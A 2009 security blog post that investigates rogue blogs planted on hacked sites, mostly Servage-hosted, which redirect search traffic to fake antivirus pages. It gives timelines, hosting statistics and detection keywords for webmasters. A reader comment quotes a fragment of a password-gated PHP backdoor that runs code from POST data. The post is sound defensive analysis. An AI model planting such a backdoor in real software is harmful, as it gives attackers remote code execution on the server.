Unmask Parasites - Check your web pages for hidden links, iframes, malicious scripts, unauthorized redirects and other signs of security problems.
Loading site search ...

Rogue blogs redirect search traffic to bogus AV sites. Part 2.

   27 Nov 09   Filed in Website exploits

This is the second part of the post about rogue blogs installed into subdirectories of hacked legitimate websites. The first part talked about how those blogs redirect search engine traffic to scareware sites. In this part I will talk about the whole black hat campaign, its evolution and its strange connection with Servage hosting provider.

Generations of rogue blogs

In the Cyveillance blog, they mentioned two types of rogue blogs with “bsblog” and “bmsblog” strings in the URLs. Having played with Google searches, I discovered some more versions:

So what do those strings mean? A quick analysis of the blogs’ content suggests that “blog“, “bmblog”, “bsblog“, “bmsblog” and “mdblog” strings in blog addresses correspond to different generations of this black hat campaign.

Here is the timeline (with some abstract numeration of generations)

Generation #1

Period: April 21, 2009 – May 25, 2009
Blog root: blog

In the first generation (that I know of) hackers created their rogue blogs in the “blog” subdirectory of some other subdirectory of compromised websites.

For blog content, hackers used snippets of song lyrics, followed by  “download full version” links that pointed to download.php file on the same site. Right now the download.php files only return “service unavailable” message (this vector must have been abandoned already).

Generation #2

Period: August 20, 2009 – August 31, 2009
Blog root: blog

I must have missed some generations in the period from May 25 to August 20, but at this point I haven’t found any trace of them.

Well, since August 20, the same blogs in the “blog” subdirectories, instead of song lyrics,  started to publish sets of images from Google image searches for queries that match titles of individual posts on those blogs. Pretty much as they do it now.

I guess this is when they started to use the css.js file that redirects search engine traffic to scareware sites.

Generation #3

Period: September 1, 2009 – October 14, 2009
Blog root: bmblog

This time they started to create the rogue blogs in bmblog subdirectories. This must have been very successful generation (for hackers). The allinurl:bmblog/category search returns 281 000 results and many blogs contain 900+ posts.

Generation #4

Period: September 9, 2009 – still active (as of November 20, 2009)
Blog root: bsblog
pid: 58s06

Generation #5

Period: October 19, 2009 – still active (as of November 20, 2009)
Blog root: bmsblog
pid: 58s09

Generation #6

Period: November 4, 2009 – still active (as of November 20, 2009)
Blog root: mdblog
pid: 58s10

In this generation, hackers introduced two new features:

1. They added a so-called Blogroll to cross-promote rogue blogs on other sites.

2. They started to use Servage’s (most hacked sites are hosted by configuration feature that maps all subdomains of a site to the same site: e.g., and are actually the same site.  Now when they have one hacked site (e.g. hacked.tld) they can refer to it as gunjan.hacked.tld, moshoeshoe-ivon.hacked.tld, murali.hacked.tld, etc.

In the index.php (main file of the blog engine) they simply check what subdomain is requested and change the content, so that the blogs look different to Google and it indexes each subdomain individually. This way, one compromised site leads to many rogue blogs in Google’s search index.

With this approach, hackers started to publish new posts less frequently (one every two days, while previous generations published about 5 posts every day). But given the number of subdomains, the frequency remains pretty much the same.


I’ve already mentioned that most rogue blogs are hosted on servers.

I noticed this when I started to check bmsblogs. Some of them reported Servage specific errors like this:

Notice: Undefined offset: 1 in /mounted-storage/home27b/sub002/sc11367-WPBT/hacked-site.tld/docs/media/bmsblog/index.php on line 114

When I checked the IPs of the blogs – they were different but all belonged to Servage IP-ranges. To be sure it was not just a coincedence, I downloaded 1,000 Google search results for “allinurl:bmsblog/category” and out of 461 unique IP-addresses (754 unique domains), almost 95% belonged to Servage. Out of the few non-Servage-hosted blogs more than a half have already been removed and existed only in Google’s cache.

Then I checked IP-addresses for bsblogs – they were evenly distributed between different hosting providers. So this doesn’t seem to be something specific to Servage.

However, when I continued to check other generation the Servage trace returned:

bmblogs  ~95% hosted by Servage
mdblogs  ~95% hosted by Servage

Here is the combined statistics for mdblogs, bmblogs and bmsblogs (based of first pages of Google search results):

1105 unique domain names and 532 unique IP-addresses
976 unique domains (88%) and 494 unique IPs (93%) from the Servage network

Here are the IPs of rogue blogs hosted by Servage broken down by IP ranges (according to domaintools) :

85%+ is the sort of statistics that can’t be neglected. Something’s definitely attracts hackers to Servage. What could it be?

  • Could this be done by some Servage insider? Such black hat campaigns can be much more  profitable than their normal job. I don’t want to believe this.
  • Or maybe a database of Servage user accounts has been stolen?
  • Or is it some inherent vulnerability of the Servage infrastructure?
  • Is it server-wide problem? Or just individual accounts are affected?
  • Why didn’t Servage notice such a massive exploitation of their servers?

At this point I don’t have answers to these questions. I hope to hear from Servage. Or from someone who knows the answers.

I can only say that this doesn’t resemble attacks that use FTP credentials stolen from client computers (I’m not aware of trojans that specifically target Servage users).

At the same time it doesn’t look like a result of exploitation of some web application vulnerability. Many compromised sites use simple static HTML web pages. Some of them only have variations of the  “Under Constuction” message.

However, I should mention that in case of bsblogs (which are not Servage specific) Cyveillance noticed that most of them were installed in subdirectories of Coppermine photo galleries. Probably, old versions of this script should also be suspected. Anyway, in case of rogue blogs hosted on the Servage network, Coppermine hypothesis doesn’t work.

The nature of this campaign makes it difficult to say whether hackers infect individual sites they have access to, or they can infect every site on the same server. The only way to find rogue blogs is Google searches. And I as far as I can remember Google (unlike Bing) doesn’t have a command to narrow searches down to specific IP-address.

To webmasters

While I don’t have much information about how this hack works, I suggest that you check your servers for suspicious files and directories. Especially if your site is hosted by Servage.

Scan your account for directories with names mdblog, bmblog, bmsblogs, bsblog, blog. Search for files named index.php and css.js. You can also use the following keywords if you perform full-text searches: coooooool, HAHAHAHAHAH, Blogger Templates.

You can also try to Google for the same keywords using the “site” command to narrow down searches to your site domain. E.g. HAHAHAHAHAH. Note, that Google has started to remove the rogue blogs from their index and such searches may not return results even when such a blog exists in a subdirectory on your site.

Why is it important to make sure that your site is not affected?

Even if Google removes the rogue subdirectories from their search index, it is important to make sure that your site doesn’t contain any illicit content:

  1. If hackers managed to create a rogue blog on your site they can do whatever they want with your site in the future.
  2. Rogue blogs may be the reason why Google blacklists your site.

If you find one of such blogs on your site, consider sharing details about it here. I’m especially interested in the index.php file. And don’t forget to let your hosting provider know about the issue and have them investigate it.


What we have here is millions of rogue web pages targeting the long tail of web search (millions of keywords) where each page tries to install fake (and malicious) “anti-virus” software on visitors’ computers. While this black-hat campaign is active for at least 6 months, webmasters of the compromised sites and their hosting providers don’t simply notice this illicit activity.

The good news is Google seems to have noticed this problem. Probably thanks to the Cyveillance blog post. During the week after that post I see a steady decrease in search results returned by the queries that you can find in this post.

Have your say

This is a typical example of parasitism where bad guys do their dirty deeds at the expense of unsuspecting webmasters who pay for the hosting. Let’s unmask them together.  Any information is welcome.

Similar posts:

Reader's Comments (5)

  1. |

    […] This post was mentioned on Twitter by Denis and Denis, Joe Burton. Joe Burton said: Rogue blogs regirect search traffic to bogus AV sites. Part 2 … computer forensics […]

  2. |

    Thanks for the article.

    I just found this intrusion on my server. And I also found the folder containing htaccess and index.php. The PHP file look like this:

    if (isset($_POST[‘09257409′]) && md5($_POST[‘09257409′]) == ’16ad2316956c498aa9e1cae9733cea27′) {
    $test_func = create_function(”, urldecode($_POST[‘f’]));


    • |

      This looks like a backdoor script. Is it the only file in the directory?

      What was in the .htaccess file?

  3. |

    The httaccess file containing only one line:

    RewriteEngine Off

    And yes, servage is my hosting provider.


  4. |

    I had more in the .htaccess files – a bunch of rewrite stuff (php to directories.) Much grumpiness. All available (from one of the sites – I’ve deleted the rest.)

    RewriteEngine On
    RewriteRule ^category/([^/\.]+)/?$ index.php?category=$1 [L]
    RewriteRule ^category/([^/\.]+)/page/([0-9]+)/?$ index.php?category=$1&page=$2 [L]
    RewriteRule ^download/([^/\.]+)/?$ download.php?id=$1 [L]
    RewriteRule ^page/([0-9]+)/?$ index.php?page=$1 [L]
    RewriteRule ^([^/\.]+)/?$ index.php?id=$1 [L]
    RewriteRule ^rss20.xml$ index.php?action=rss [L]

    FTP – my password was reasonable and not used very often – these are mostly parked domains of mine or things I have hosted for friends. My work domains are elsewhere …

    Web Apps – a couple of the domains had WordPress installed, one had Drupal. Most were flat files – normally just an index.html page – many of these are just used for people having personalised email accounts.

    Databases – didn’t seem to be anything in any of the databases associated with any of the domains – all bar the one I am actually using are now toast.


    Due to the clustered structure of our systems there is no single log file for you to use as your site is served by many servers.

    Also,we are sorry to hear about the problem you are facing. Its hard to say how they changed and created these file. Most attackers use an upload script that allows them to infect files. They do so by exploiting any non-secure scripts which are being used on the website.

    Please recheck the scripts being used for any such security loopholes. Also remove the malicious codes from your infected file(s) or re-upload the files from your local backup.

    Luvvverly. “It’s all your fault and no we don’t have any logs.”